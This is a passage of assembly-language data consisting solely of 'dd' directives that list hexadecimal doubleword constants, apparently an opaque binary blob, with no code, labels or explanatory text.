dd 0DCD85F00h, 6441DB89h, 29BD120Bh, 0E38EBC15h, 9B5E5EDAh
dd 291AC08Bh, 5ADCFE5Ch, 2F65F177h, 68F96E13h, 8C1DACh
dd 8DCECA12h, 0AD062F26h, 0FBF6FB26h, 2925D305h, 34CDCDABh
dd 824BB606h, 2723B38Ch, 0EF0B399Dh, 0AB1C5Dh, 0CDC2A6E8h
dd 234F350Bh, 2651A97h, 42241DCh, 15B250h, 4E5A891Dh, 25230E2Eh
dd 52C283A5h, 0FE92D537h, 4E5AB3ABh, 107D870Eh, 51109C58h
dd 19E64F1Bh, 12124B48h, 5E51E30Eh, 0EBAFCAC9h, 8E07D4Dh
dd 5A58FD8h, 8D891A37h, 80ABD451h, 25189A3Eh, 50E6384Ah
dd 753016B2h, 8D734B63h, 0E90B6E43h, 0DB14DD05h, 2FD98A52h
dd 25F45B50h, 0D9D45162h, 0A2DD83DCh, 79057D20h, 2B41A1A5h
dd 6AAE3675h, 22ED5F46h, 6AC49C82h, 13016461h, 21EA12F5h
dd 170AB16h, 4B618531h, 0C1CC2422h, 7F8D094Bh, 827B98D9h
dd 4E5F22D6h, 0DF80158Ch, 5229270h, 0A729BB04h, 54901BFDh
dd 28E4E380h, 0F26B8F0Fh, 30CB52CFh, 1650F540h, 0A81B7E2Bh
dd 4200AAD7h, 4F102D17h, 5D9025D4h, 0C594D025h, 346C1A15h
dd 0E007CD55h, 0F9F152AEh, 781E8927h, 0FCCB00EDh, 8FD3BF96h
dd 0D19F6F45h, 0FFF78012h, 0F5C19BB1h, 8F0120ECh, 26DD29FDh
dd 0BB40E03Fh, 4E5B7D83h, 0E477A696h, 0A55EBCBAh, 80F12AAAh
dd 0F91DD4A7h, 0B9BC09EDh, 3A55F88Bh, 500853E1h, 2A0E0EF7h
dd 0C0A1B970h, 49BD232Ch, 6FE5B52Bh, 0A26EB571h, 43CD4AA1h
dd 69B5206Ah, 711E2079h, 96C0136Dh, 81FDF7C8h, 80974CDFh
dd 5FC0C93Fh, 4A3A1497h, 0EC9DB971h, 10EEBDE8h, 800779BDh
dd 0A913BC3Fh, 4A2D9D54h, 4BB8648Bh, 0F388C61h, 0C0448C5Bh
dd 5B8DD8Ah, 122E6E5Ah, 0E6BE1145h, 0CDD7099Dh, 600B7160h
dd 0E7E9DE8Bh, 5F85C295h, 260126B7h, 0C18B71CEh, 0ACDE352Bh
dd 9111061h, 50905B05h, 9E7BF852h, 0AF911781h, 0A0C38368h
dd 3E0C321h, 0FC4EB95h, 0BAE4B731h, 893E34ACh, 45C6AF4Ah
dd 3DB795A4h, 5864F425h, 0B79F6AFCh, 96368B0Ah, 9B7F10E4h
dd 3768A301h
dd 80986B67h, 6016C02Eh, 0D298AD19h, 649FF1EEh, 16CD2501h
dd 4DCB8C54h, 58EC40F9h, 37075C30h, 0A186EDCBh, 8F60B1CAh
dd 0A616DCh, 0B2FBA950h, 0D11C7296h, 904E4F7Dh, 0CAF9C8h
dd 84546A8Dh, 0D687F8CBh, 0EB1C2572h, 2797F94Fh, 8AF002AEh
dd 9DE09080h, 0EE13B008h, 0FC92F81Bh, 0B5E3C6BDh, 0FBAFF5D9h
dd 0F673A739h, 2D701650h, 43FC0F75h, 2587502Dh, 0DF66FB8Bh
dd 4816DCB0h, 350BC1F7h, 0A7940AD1h, 95BE58C9h, 7F45AD14h
dd 2129E9DFh, 0E46E3E09h, 2F80A13Dh, 5ED28734h, 9BA0EEB3h
dd 899D4F75h, 42B8286h, 9AB75524h, 570B9701h, 568553E4h
dd 0AB5F0F7Bh, 1423916Bh, 0E925F820h, 8FE678Dh, 8848196Ah
dd 328602D6h, 7C9D3E05h, 0CD0002D5h, 0A40B072Eh, 0A944D4D1h
dd 0F16BD7F8h, 0A59F0E00h, 7213CF07h, 9404F75Eh, 4160B49h
dd 91C0188h, 0BD00D590h, 5061C453h, 81C8F1BFh, 0FE5A2EBBh
dd 0D4E36F55h, 5176902Dh, 0B88262DCh, 145C65B5h, 8187025Ah
dd 0CB67D72Dh, 40424D2Fh, 59BD3374h, 4BB71D40h, 89298CBAh
dd 0D74F2BEDh, 7FF6B36Ah, 1801BDE5h, 1DDA7D8Eh, 8866B609h
dd 0F6262751h, 6F2F151Fh, 8B1242A7h, 0BB000604h, 1619610Fh
dd 21333197h, 0C3A214h, 72B7E69Eh, 9D4C2873h, 581C851h
dd 0EC4E88E8h, 30DBE60h, 169AD9BCh, 0F7B08304h, 30E1B061h
dd 0E63AFF12h, 5F8BB770h, 0C2AEFC05h, 0D0928DE1h, 0E0973D56h
dd 0D47E5189h, 3C2FAC76h, 7C99633h, 8180EBADh, 6758F7EBh
dd 272B0E41h, 0BCFF4008h, 10014653h, 99B9B82Eh, 84792B64h
dd 5F407DDCh, 0AB043EC9h, 0DB215D2Ah, 0C16DD95h, 0FF808480h
dd 8B802999h, 0AF83BFD1h, 4F1A093Dh, 832B7AE9h, 2D1F9D22h
dd 7158852Bh, 0F3C1504Ah, 0AB8B2B3h, 83DA7A64h, 2F4A6162h
dd 0F44F3EB7h, 1209D0Ah, 47E92810h, 0D9B7270Eh, 0A912B45Eh
dd 884AF8B3h, 8FB631DBh, 0B19B41E1h, 4A008B3Fh, 7488E599h
dd 8B2031D9h, 0E2046282h, 5BF54901h, 95BF08E6h, 55793037h
dd 0E78532D1h, 70ABE3E6h, 0B9B682AEh, 19102A20h, 0BEADEB80h
dd 80F238FCh, 5F1EA8F3h, 0FF7F0F9Ch, 52F87349h, 2F12AAE3h
dd 1488C02Bh, 0B26F03A3h, 927595E2h, 0D4BFD2F1h, 6B4A2099h
dd 0DA5B22DBh, 88AC96DEh, 2D38E090h, 6184485Ch, 0B5010227h
dd 29264971h, 0A9AD75DAh, 51946E30h, 15A839A9h, 0BACE278Ch
dd 80F5CF1Ah, 55BBC278h, 5AB57C09h, 0A2EDE814h, 0C0C9A156h
dd 2B2B5FD4h, 3C825E12h, 51EB54F5h, 0DDEB178Dh, 0BA8024BFh
dd 293B021Bh, 0A95309Dh, 0E5BD31D1h, 1A3B4491h, 54D3350Dh
dd 7171690Ah, 0D450BB00h, 1862C4h, 0DC0FB0BFh, 0CF66F496h
dd 36497800h, 3156B624h, 0A4A14A8Dh, 0FF255B0Bh, 0C07F6DE1h
dd 1D90C27Bh, 342DFEA0h, 1B5ABC5h, 1C988FEEh, 0F62704A2h
dd 2F12DECCh, 37B2A162h, 0AB049284h, 0AF4AE77Ah, 0BE21A7C8h
dd 8E9347FEh, 0ED1DA040h, 59BF2298h, 8060407Ch, 6125F1C3h
dd 1A6A655Fh, 1A769711h, 0DB3300DCh, 5D5E71F3h, 854BAF64h
dd 7093B2h, 0B105074Bh, 0F46A2D21h, 0CAFADA39h, 0EC31CCFBh
dd 5FFC8A04h, 92AE8D29h, 0B8756016h, 0B51BC998h, 0CC2355DBh
dd 4C327258h, 0FA25D959h, 0DF4AA362h, 5CA78054h, 0DE1BACC0h
dd 0A00CAAFEh, 0B27AF4CAh, 0AF164A31h, 985AF86Eh, 0CE021FF7h
dd 0A9FF9FC8h, 0A7455598h, 0F0E50h, 3D43EB4Ah, 6097990Ah
dd 185230Ah, 1D085926h, 9061002Bh, 0BF505B51h, 583CE009h
dd 0DE4FD434h, 2D9941Fh, 7B56769Dh, 52EFD712h, 0D353E86Fh
dd 0CA621C01h, 68A545DDh, 6BC4AF6Dh, 0A8A485A8h, 0F8B580A7h
dd 9FA26B41h, 0DF411652h, 5427FA2Bh, 0C30FDFB9h, 7BF61D8h
dd 2A8D731Eh, 0BA8D4A78h, 46646829h, 2F8DBA58h, 6B24DD2Ah
dd 13044B6Ah, 0FDBD0B56h, 575F0029h, 0B533F560h, 258F9AC1h
dd 1BC65B61h, 31206FB0h, 0DB810014h, 919CB04h, 14ECFE9h
dd 53A071F7h, 0AB1C09FEh, 0A74914D3h, 0A52571C6h, 95BA4455h
dd 16F3FC2Bh, 7166D0h, 0F5D3BAFBh, 0C1BD2BB1h, 8BCC229Dh
dd 67155CD9h, 2771F289h, 51577714h, 55F28EFBh, 1C64B34Dh
dd 88CCAB64h, 0EF2B0AE3h, 25B6BAB7h, 467C685Fh, 8CCDBF04h
dd 0C62E36C0h, 83EC0034h, 0D3804564h, 4EB75018h, 0C9CBBDE8h
dd 5593BBB0h, 0B7043097h, 6989E6F8h, 6B05330Ah, 0BF1F0004h
dd 0EE682826h, 614A4816h, 30F0C8h, 2701571Eh, 7DADC83Ch
dd 0F3DFFD00h, 0F81A735h, 0B85F9583h, 62FE3Eh, 39B998DAh
dd 0BD739D3Fh, 6F7F8C02h, 555BD41Eh, 4B1160C8h, 9E615532h
dd 2FE256DFh, 5CA7B83Dh, 1F4B0523h, 0A3C1AFCBh, 92042EA9h
dd 80901BBh, 17119E5Ch, 9BBBC84Fh, 3724BD01h, 0BE0DC183h
dd 0C2FD90DBh, 255F70F2h, 2C5E336Bh, 3790FA8Bh, 0DCF9808Bh
dd 939133D8h, 789D6200h, 3CF38153h, 483604B6h, 0ABF98B5Bh
dd 99B5F160h, 16E48731h, 61DCB060h, 22D983A0h, 0A2FD67B5h
dd 6C1495C4h, 45CC0D4Eh, 1DE9800Eh, 2ADA0BA1h, 23BE89A6h
dd 3DB40E1Ah, 512F07A1h, 5DDD2CCEh, 4B0AB8F9h, 73E2F3h
dd 0E6040BF6h, 913BF0Dh, 5F42DA89h, 68B68F60h, 74661497h
dd 0D5EF97CCh, 80F9C40h, 4DAF0B5Ch, 470215E5h, 0E85A1DA1h
dd 0FEA5397Ch, 0DB66929Ah, 0A87F7837h, 0DE30EA03h, 95029D1Ch
dd 8B1487FAh, 12789E6h, 0FF786A95h, 149193B5h, 19F94C87h
dd 129EE655h, 0AD3451BDh, 9EB8D2B2h, 9162220h, 80C44D85h
dd 463D5BEh, 0FF1DE5BDh, 209D7928h, 82950A85h, 5572DEA4h
dd 45D372BAh, 4F8B8451h, 8A786CA0h, 9FB96384h, 2300E71Ch
dd 3878B837h, 0B7DF0061h, 7DEBD25h, 0F10955FEh, 809B6A7Ah
dd 4CE0E92Ch, 9A5B4B77h, 0C11BC835h, 0DAA7CBA1h, 56A6CAFDh
dd 0D5CC693Ah, 14C9BD12h, 0F92540E7h, 0FFD333C2h, 3FAEA370h
dd 0E7804738h, 0E0C44CAh, 2527BD03h, 0CB325415h, 228E2A35h
dd 94F841B5h, 4C684CF5h, 8954C889h, 0F5258253h, 0B85B1F84h
dd 70F8C972h, 0B4F9F41h, 931DB660h, 5F4D90EEh, 0FD1A5605h
dd 7DA9BC12h, 2AFB0B01h, 955D7B5Bh, 0DEE74068h, 0FE274B09h
dd 590CF3B1h, 50711815h, 12B6E6C0h, 0C461FBE0h, 0D8B0D2B9h
dd 8052C148h, 5FD0EF12h, 9CAEC075h, 0E5219DA5h, 0C092E908h
dd 269109C8h, 8F93C082h, 96613A23h, 0AA16F680h, 0FE8A504Eh
dd 0CF0481F2h, 150AD3C0h, 0C8B0DABFh, 0D7D5C119h, 0C55EC1CCh
dd 0B5A2E081h, 0B713EE1Ch, 0B73CC625h, 37B94E10h, 0AD037E72h
dd 245F6E2h, 98C590B5h, 4A50F8Ah, 4DB4E5C8h, 85BD2981h
dd 0C3CB6A26h, 0AAB01D56h, 2C09C835h, 71F9F8FDh, 9574718h
dd 0B5F4D454h, 4E95AF4Ch, 1235973Ah, 0CEF54E00h, 0E22D4C6h
dd 208DF821h, 4E112F7Eh, 0A3DB6A1Fh, 8023DA5Fh, 0C7166FE7h
dd 1960C43Dh, 0CFE9041Bh, 0BB4622B8h, 45E053F0h, 67C4C0Bh
dd 0FC642Ch, 0F14A7DA8h, 0BEF7F3C1h, 3244EE03h, 0D58B1ECBh
dd 6C06BDBh, 1EBF4678h, 54C9A425h, 7F1E2EBh, 6A440909h
dd 0D5FE5DF8h, 0B04121FEh, 0F760D5A5h, 4B045718h, 62CB46FCh
dd 0B0D3A8E8h, 502F5B83h, 7FB80953h, 485430A9h, 11C700DCh
dd 0BF768E0Dh, 35122B4Fh, 0BB96A3Ch, 0FD56F2BDh, 911B918Ah
dd 0AD290A41h, 2EA01537h, 8E1498F9h, 10C4CCDBh, 0FC6901E9h
dd 8A009258h, 57BB50D9h, 0AA6721E1h, 0CE545D88h, 0DBD9CB4Eh
dd 8433D0A0h, 800E787Ch, 0BD18789h, 0CF4B80EDh, 0B56A0F74h
dd 35E04F4Dh, 12236710h
dd 0BE334D9Dh, 4100FEF3h, 20D9D2B8h, 9F043011h, 0F623B197h
dd 0DAD39DB9h, 0BFFB8068h, 0BBC477Dh, 0EB8D055Bh, 40981555h
dd 7B462C1Bh, 44F6A300h, 0D1FF4F7Ah, 0B19D1629h, 0E211B817h
dd 3B802976h, 26AB656h, 0C13D0CC4h, 1A809FBCh, 920FC6CBh
dd 95DF8F00h, 60506940h, 0A2ED1EB9h, 0A8F0276Ah, 0DBE6ABBFh
dd 651D701Eh, 0D9FC7400h, 587C7E5Ah, 0B6FE4B8Bh, 3115B298h
dd 55E03F7Eh, 51A59571h, 0EF38AB61h, 9D929014h, 60EEBD4Dh
dd 0EE801345h, 0FC834A0Fh, 7D8CA0E5h, 0F82A0046h, 2B4E014Ch
dd 0E2057EE8h, 1CFFAC69h, 0BAAD34D4h, 0C1440CADh, 0A94C800Bh
dd 2F07F69Fh, 165CAD09h, 25DC44AEh, 437E0CCAh, 0E24FFB09h
dd 1F7B5535h, 4A73575Ah, 0F74D7A09h, 0DFFC9118h, 0E22BF804h
dd 0C2BFB794h, 0C65C1187h, 250A5652h, 690A566h, 2B281607h
dd 4DE96A45h, 80BEC026h, 7A0265A3h, 1DBD0386h, 25B45A05h
dd 1A483509h, 65950739h, 5E4011B1h, 0A201A1B2h, 0EEA3735Bh
dd 88C845D7h, 0B04C5FF4h, 91988D3h, 417E70E6h, 0E4172210h
dd 89338C71h, 214E1DFCh, 8CD3DA8h, 39940371h, 8075B8B4h
dd 52B43EBFh, 21BA5007h, 0A573B157h, 1981307Fh, 0C8F04E4Ch
dd 0AF010F50h, 2CD1FBC6h, 5A30C234h, 835C0E3Ch, 12365F94h
dd 2076B1F1h, 2840799Eh, 95FC7F53h, 63A1805Bh, 40135D25h
dd 7081D1B1h, 370B0C18h, 18A0E923h, 970D31F6h, 47557710h
dd 0CC534925h, 0E5B52A9Fh, 815B4F89h, 6A7F14A6h, 25BDCBA4h
dd 61562C51h, 7BBF6640h, 8924979Bh, 30BE5731h, 420EDF9Ch
dd 9563D700h, 0F8EA206Ch, 51A8028Ch, 0B0EB8191h, 0D77110F5h
dd 0AE8000D3h, 0F8487ADFh, 0E92A5F5Bh, 5D2D623Eh, 0ACE35B01h
dd 8351A51Fh, 99B52940h, 0E065B514h, 0E03C3237h, 67B34DF7h
dd 0A8408942h, 0BA064AC1h, 0A5723677h, 0BDCD75ACh, 7AFE60E4h
dd 2C53F6Bh, 862A2CBFh, 2F28C060h, 12EEB9Dh, 0A74FC212h
dd 0F470EC5Ah, 61019612h, 6005E2E3h, 0AB02F181h, 8CBB34C4h
dd 0B92461D5h, 99351B6h, 551DE909h, 1C117BB5h, 56F7FB80h
dd 0C8007D46h, 0BF1B5AE4h, 255399EBh, 64D56049h, 0FC6124FAh
dd 28A038B4h, 0D9C02B2Fh, 6DDD25C4h, 0D22B8976h, 0DC6476h
dd 6ACBCEE0h, 6B9DE722h, 0E3817E01h, 5B83EB28h, 23407F2Fh
dd 1A700217h, 0C37B45B8h, 2F9A770h, 0CADF3E37h, 9E8756E9h
dd 0F51208E1h, 8504BF2h, 0F2D1357h, 0B8372482h, 3E4081CDh
dd 0EA2E5912h, 0D5C43609h, 19918435h, 201C9380h, 0CD62E2FAh
dd 5510F596h, 8B27FAD3h, 5EC954FFh, 5966F39Dh, 57C8BF6h
dd 0F4425C20h, 0C656782Dh, 48BF02FEh, 5F6815F2h, 8C53A45Eh
dd 0CBF9DEBAh, 2661517Bh, 0BEB302AEh, 0CA5E33D2h, 4AEDD04Ch
dd 0B5A6AC16h, 0C0A925ADh, 552F02A5h, 5ABE70EDh, 4EE4B68Dh
dd 2FA07DF6h, 0BB04ACECh, 35590DDDh, 0AEA29BBCh, 831A911Fh
dd 880BBB57h, 0A0496E3Bh, 0F13592h, 0DE8A5CF3h, 1260C8BFh
dd 0ACCA6D4Bh, 4E1FFD4Fh, 9FE02DE6h, 0F2D1CF1h, 4096F985h
dd 0AC557BC0h, 8F40CB05h, 5C80721Dh, 13F817DBh, 1522733h
dd 0D5EBC7B0h, 5E51E4EAh, 45B39C97h, 0D23B3005h, 38B20909h
dd 73165B60h, 99358580h, 69B4A800h, 0EB01BBDEh, 0C5664BE1h
dd 0B997B98Fh, 0D652666Bh, 509F1F09h, 1E3EF932h, 627D015Ah
dd 7B7003D7h, 222EF9B5h, 5B1A93A1h, 6A4051B6h, 16C8B59Ah
dd 8F279AC1h, 0C520FA2Ah, 5712A29h, 0B531FCF7h, 61E9E09Dh
dd 0B5A4BA97h, 63F08059h, 3205BEFCh, 4A24025Ch, 901F17B9h
dd 27C26D8Ah, 0BCC55BC3h, 0FFD481E1h, 0F22EE6B4h, 9D29C4A5h
dd 0AF35C9AFh, 0C0AA4D96h, 38574F29h, 5112A600h, 89F30C3Bh
dd 1EDD259Dh, 0C5209572h, 94149719h, 5D20504Ah, 74B6A915h
dd 8953008Bh, 0A7D01BE0h, 0D27B8372h, 64A87DD7h, 0C964AB4Bh
dd 283B20AAh, 0FE00B138h, 0E8728ADFh, 1D92B23Fh, 1685834h
dd 0E5334C02h, 0A951E2FBh, 3B931800h, 3ED37B16h, 0E983ACA4h
dd 0D9BD2B84h, 5AE7AB9Ch, 0B599BF40h, 6ED2945Bh, 8071480Dh
dd 0A54C0274h, 1CBE97Ah, 3FF4FAFEh, 0EC89D470h, 6C803653h
dd 4158D7E5h, 59925B9Dh, 1F491817h, 0DD32F777h, 4C0EC4D7h
dd 0D0BEBC5Eh, 33E11685h, 18D8DEB9h, 0BA971755h, 47D199h
dd 2925AB6Bh, 77015915h, 8EB3B107h, 0B12EE13Ch, 0BCD6391Dh
dd 0F6EF00F0h, 0DB8C5928h, 0BCC70BFAh, 1D85CAE0h, 624B12EAh
dd 0B8606603h, 8E97ACE2h, 0C58D65AFh, 502F28B8h, 7869E9FCh
dd 2629BC0Ch, 0B201DE05h, 9D01DB79h, 9C6B0589h, 0DF008074h
dd 0BDAE688Fh, 2552676Bh, 815DF98Bh, 74BE51EEh, 0A5B151EEh
dd 46D65E56h, 7964001Bh, 9AFF3A95h, 20544A7Ch, 0E1298991h
dd 0B6C4E800h, 0B11571B8h, 0D48A04D1h, 8C50F936h, 377B5FBFh
dd 0BEA9ED00h, 6343D128h, 38AF0021h, 739193CEh, 3CEBDE71h
dd 16F65A69h, 9E1BEE4h, 0EF044A28h, 0ED5F2CCDh, 549AD67Fh
dd 7E7B5380h, 6C394193h, 0CA57952Ch, 9D0905F4h, 9EA92679h
dd 0C3DBD09h, 83447A7Bh, 0E5CE8CAAh, 838A414Bh, 0AB103327h
dd 0E98021F1h, 0A73AE143h, 0EC1EA078h, 0C4B904ADh, 0EE166131h
dd 72BF850Eh, 5BBAA7F3h, 0A4A088B6h, 0F19076Bh, 0B7190289h
dd 5AA3F8EAh, 0E11CAC30h, 9E7E0409h, 0D9D485B0h, 5ADFE92Ch
dd 80B99E03h, 841BE467h, 8A920820h, 0C88012E8h, 0C39B4B14h
dd 0E41500A2h, 0A88EC7D1h, 927ED253h, 510F5517h, 0ABC1A880h
dd 8A2AE35Fh, 7E35A067h, 9CF00BA5h, 9C55EB1Eh, 64BD0033h
dd 0F723400Fh, 960043EEh, 0C678281h, 954FEF7Fh, 55699876h
dd 1A917EB5h, 0F18DBF92h, 9E6CC6Bh, 0A408571h, 4003BE50h
dd 5E569F69h, 2BAD43Ah, 0CEAB7E43h, 97C65E9Ch, 24C1ED95h
dd 1917C30Bh, 57F16FAFh, 0BBBD0949h, 82DF79D9h, 3391B529h
dd 42C2D15Dh, 4A1426BDh, 0C4FBADF9h, 3C290BD9h, 9D030DD4h
dd 122E4571h, 2F04AA87h, 6EAB2050h, 507A003Ch, 3FA587DDh
dd 848F5829h, 0B90BCD12h, 8C15BCC2h, 2BBAA402h, 841A299Dh
dd 75BDDE63h, 4FBB1CADh, 0A6EB542Eh, 0FFBD5A01h, 0F63F6A5Bh
dd 0A4FAF0F7h, 34DC2DF5h, 14596A7Bh, 23504618h, 0EE950FD1h
dd 278DB00Ah, 11663219h, 0D55E10B7h, 0C95A03C2h, 0A203E991h
dd 0AE2FDEC0h, 871F4C3Eh, 0FBFBDCCh, 56FB6B1Eh, 1446DC8Ch
dd 0BD332602h, 6E751DB1h, 95099505h, 48468471h, 0EB8C8D41h
dd 1019F440h, 0B6509680h, 51BA0734h, 0F8F21E59h, 0EFB2C331h
dd 46968A61h, 0EABF4BF0h, 98199580h, 0F0A739AEh, 28868FABh
dd 86540B08h, 0FF815A1Ah, 0FE2373CCh, 6BB04DD5h, 0B7045153h
dd 88EAE22Ch, 0D4908CB2h, 7B20752Dh, 18157943h, 278B7AAh
dd 7853A7E5h, 0C51A97A1h, 24A258E0h, 6BA89497h, 637B4D69h
dd 278E8B70h, 0D2D039A4h, 1FA83A97h, 84029C28h, 0BCF997BBh
dd 0B86E4BA2h, 0B5B13109h, 1DD9BA7Bh, 0DB73E318h, 0C66D6200h
dd 0D09E75C9h, 0F2BB2FE9h, 0A383F704h, 2FFB39F8h, 5637C1h
dd 9BB0D6Ch, 0D1B0D72Eh, 0FA8D5738h, 0B7AD3827h, 538B803Fh
dd 0C6F680A7h, 0B99D198h, 2031F825h, 5BE01469h, 48DC8080h
dd 0AD12B920h, 0C25E9D16h, 307399D7h, 47D3A108h, 1EAD53C8h
dd 7A9168h, 0FBB6D970h, 0E009BE61h, 459F673h, 5884DD4Fh
dd 0C0C5DBEFh, 5009B593h, 0A5BB06F2h, 4A5E65EFh, 8B6034BCh
dd 0F4EBC0h, 0EBD40ABh, 7E44A548h, 26367300h, 51142B9Ch
dd 0CCA20064h, 0B6DF0104h
dd 1B0177C0h, 465729B8h, 92C08B27h, 0BAEE076Ah, 0D040ED9Ah
dd 0EA532352h, 0CC036100h, 333B3121h, 0A8D001DBh, 0ABE1504Fh
dd 0AE92E06Eh, 2B35161Dh, 48DDC602h, 0B1E660F6h, 66D9E2EAh
dd 214009A9h, 89FE6800h, 0FBE48163h, 0E67BB5h, 69938373h
dd 63CB44Bh, 61E1CC3Ch, 0FB28B730h, 0D3DED5h, 6D85FD10h
dd 8A945423h, 6C5CCA19h, 2180C408h, 706D7D98h, 0B003BE6Bh
dd 118E8D43h, 2BEF90DAh, 0C0D66D83h, 30309D88h, 0C9467806h
dd 85E60011h, 994FF6EBh, 4766AA4Ch, 9821E009h, 3EEB00F9h
dd 0DE21CB9Fh, 0A9005324h, 17776E44h, 2840F798h, 0D8CB7B1h
dd 0D3C71B27h, 88340B70h, 0A660C3E1h, 2BF16598h, 2EF46300h
dd 1BB196BAh, 58C9607Bh, 8E0548C5h, 1C46C4A4h, 8389F002h
dd 3E31DAB1h, 89F86E10h, 0F2F09818h, 7D3B27A0h, 5158C0F7h
dd 0D55A131Dh, 0C07C2B00h, 12AF1582h, 0BB533EA2h, 7FC50280h
dd 0D0A7A9F5h, 80EF3500h, 0E7294E40h, 50621E38h, 9B094032h
dd 482CC925h, 0BB60411Eh, 4E382380h, 2A0431h, 0C9E7CCDAh
dd 50086D86h, 550147EEh, 2EC0E512h, 3BE4C617h, 70C7005Fh
dd 4E96CEB1h, 923B1DAEh, 130E8F60h, 8F0F2E68h, 3807E759h
dd 0BB24CBA0h, 9AA83B5Fh, 28C04219h, 416BDC59h, 21003778h
dd 5D049690h, 3BF66E7Dh, 0C117BBA2h, 58961892h, 0D8094893h
dd 37EAE91h, 3A5915EBh, 79406420h, 0F6309BF0h, 0B6331110h
dd 9A6B010Dh, 9212EAC5h, 0E108BE9Dh, 0DAE5621h, 2C3ED4h
dd 0E8645F58h, 42363B24h, 6AA1C960h, 180B30Bh, 0B956BE9Bh
dd 9F01F7AEh, 7F434941h, 8813B676h, 71AAC847h, 0FF9000Ch
dd 6979418h, 0E307CDC1h, 0E199A8BAh, 127B2741h, 0AB137800h
dd 9411262Ah, 1C492E18h, 197D4736h, 8578FCAh, 50218923h
dd 0DE240041h, 30E475h, 4738985Eh, 5BE23712h, 0C80F5E96h
dd 0EAA5201Dh, 28EE200Ch, 5BC2817h, 2E869796h, 0BF9C00E4h
dd 6F05D54Fh, 3FCE4D18h, 8003CB40h, 4BF01B99h, 10C11EF6h
dd 32A19874h, 2588584Bh, 4C44FCC0h, 0A84ABBDh, 58254778h
dd 6B811DCh, 30971698h, 0CF4D0FA8h, 6482C31Ah, 28485CFBh
dd 0D17E9079h, 32BAE203h, 308ADA17h, 9F217608h, 6872D198h
dd 0F8AFAB00h, 0D9E782E9h, 645009Ch, 1D279293h, 31C10896h
dd 14877B8Ah, 5A52F187h, 4146C1A4h, 0EEFC50CDh, 0B601D06Bh
dd 5D377A47h, 898524Fh, 638B21D2h, 4B90D004h, 8D800560h
dd 207983Fh, 5F929BE7h, 0D4801466h, 52DB1135h, 0E2CCA80Ch
dd 8116E0E1h, 897185Fh, 82E24AD1h, 9A4071C4h, 72F1D19Fh
dd 8E2D8301h, 589EF7DAh, 10E9D806h, 408B7B82h, 9E149B33h
dd 14F88108h, 90DC7651h, 1AC23E4h, 97951C48h, 8827184Fh
dd 1C0F4051h, 7C0F01h, 18755C15h, 1A630F17h, 0DC940716h
dd 3DEF311Fh, 7202B582h, 5900C242h, 38FD55h, 0F44B8094h
dd 971A9017h, 0CB439C00h, 14639296h, 77E6009Eh, 765FBE49h
dd 0EB0F9082h, 8C9641CFh, 7984C0CBh, 5BFA1D01h, 21C3C1FFh
dd 3017D54Dh, 9E0C0412h, 40474B0Eh, 0C59B1843h, 28385894h
dd 16F74D00h, 0D3996A4Ch, 877314E4h, 3904901Ah, 1FDBE28Eh
dd 1FF70D04h, 0D4440E00h, 0C58B2D7Fh, 0D0FA0403h, 5C1000CBh
dd 8F8A3BAAh, 0DD006AD7h, 2F980DBEh, 0C831ECh, 0FD6C1C7Fh
dd 83533548h, 0C3F2C700h, 0B72693B0h, 58A500E4h, 85761665h
dd 0CF0F1C50h, 2020A003h, 3A249A0Fh, 23920F58h, 358067E2h
dd 0A2B9FAE9h, 28795D07h, 6120C4B0h, 106CA46Eh, 0FC5BF27h
dd 80C9ABA1h, 12A0D09Ch, 600202C7h, 2CB6854Bh, 73585E40h
dd 2ABD9601h, 0F45AEB77h, 643B20h, 8CF5B1DAh, 56279B22h
dd 0A57B5205h, 44C767EDh, 540F861h, 43AE4h, 0D4472B8Eh
dd 0A1FF65F3h, 10B3D4EDh, 8AC7A403h, 0C0DBF82Dh, 3F24A3Eh
dd 8FD959BEh, 0B8E8DA31h, 3600F516h, 0A555F85Eh, 0CB08F1h
dd 7A8D2257h, 3EDDFF4Eh, 0EEF24Ch, 4BE0B609h, 0EF8408h
dd 1B8A41A4h, 1B96FAAh, 1C005A75h, 3B70BC66h, 0B1C2C3h
dd 7BB79D61h, 0C8B8EBC7h, 34AE21C0h, 0A9F8F0Fh, 2AB9FCD6h
dd 188B0180h, 80BBFDB7h, 0D2DE0111h, 186312Ch, 0C4FE2011h
dd 314069EDh, 0DE808978h, 5004208Eh, 6E4F0Dh, 305B5C46h
dd 7EA1BD99h, 918CB20Ch, 4976402Fh, 0D8001C62h, 6B25015Ah
dd 46E87095h, 4603100h, 2282D7E3h, 2DFD0045h, 9BB02E49h
dd 0BE007637h, 0E1A7E243h, 933374h, 0EEE5CD17h, 8463C63Bh
dd 136C3138h, 0E700DBE7h, 5410E149h, 877233h, 50C51C73h
dd 0A8AF896Dh, 0BB2AE338h, 47AE0149h, 9C3ACA71h, 6D1B8C40h
dd 0AD5603F8h, 541EC75Ch, 81683FCh, 0EE1DB890h, 7713C200h
dd 2893382h, 0B7E658BAh, 0AB490900h, 0E0F6DB05h, 2E008B73h
dd 40C0FCEBh, 1E3F9638h, 9EF71061h, 860B8294h, 8840DACDh
dd 0D000726Bh, 0C16EFE7h, 753E0EBh, 0D5DC37CFh, 87FBF2CCh
dd 0EC1CB448h, 9CDDB70Fh, 3F4A006h, 88643Fh, 0A1835BE7h
dd 683B37D0h, 844E500h, 8FAEC152h, 5CFC3EA3h, 0FE199B81h
dd 81E691B4h, 0BD18EB20h, 0D824AE5Ah, 60A300DBh, 0BC651690h
dd 5700EC66h, 0E3DE8B8Eh, 1CE52A7h, 0E5BB11B1h, 0E45EF540h
dd 0C700A004h, 95932F44h, 8B9974h, 591A6524h, 0CDBC8447h
dd 0B7DC3809h, 6114A043h, 3219058h, 4CB96E9Dh, 2E0738E2h
dd 0E6A07C57h, 6732AD0h, 0F8BB00A8h, 51ABECFBh, 3509A60Ah
dd 2E83A599h, 0F6CA002Ch, 3623909h, 5210ED8Ah, 0D807E40Fh
dd 0E53AB64Dh, 5C9A2B0h, 783C008Dh, 634B931Fh, 0C805DFE0h
dd 0E4C352EAh, 0F26B004h, 89A94141h, 1CC3F667h, 0FC8046AAh
dd 0DFCB20F3h, 9023A701h, 79E2B275h, 95DC0ADDh, 0F9490F8h
dd 27D52C6Fh, 5E01140h, 0E830C08Bh, 0BCDCB92Ah, 0C477003Fh
dd 0F943ED0Eh, 6D01BDB1h, 3875D97Fh, 0B8244762h, 5D5E003Dh
dd 13F52C57h, 0BF0FA50Eh, 0AC6E03h, 0A8FD5F1Bh, 33E90729h
dd 0D00D10F4h, 0CAEDD1DDh, 0C4CE4600h, 3C5F9836h, 729F001Ch
dd 7859FD8Ah, 0A53D1635h, 5140074h, 694A0ACDh, 19371D44h
